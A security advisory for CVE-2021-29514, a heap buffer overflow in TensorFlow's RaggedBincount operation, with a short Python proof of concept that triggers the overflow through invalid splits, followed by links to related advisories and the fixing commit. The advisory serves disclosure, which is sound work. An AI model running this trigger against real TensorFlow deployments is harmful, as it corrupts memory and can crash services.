CVE-2021-29514: Heap out of bounds write in `RaggedBinCount`
(updated )
If the splits argument of RaggedBincount does not specify a valid SparseTensor, then an attacker can trigger a heap buffer overflow:
import tensorflow as tf
tf.raw_ops.RaggedBincount(splits=[7,8], values= [5, 16, 51, 76, 29, 27, 54, 95],\
size= 59, weights= [0, 0, 0, 0, 0, 0, 0, 0],\
binary_output=False)
References
- github.com/advisories/GHSA-8h46-5m9h-7553
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-442.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-640.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-151.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/eebb96c2830d48597d055d247c0e9aebaea94cd5
- github.com/tensorflow/tensorflow/security/advisories/GHSA-8h46-5m9h-7553
- nvd.nist.gov/vuln/detail/CVE-2021-29514
Code Behaviors & Features
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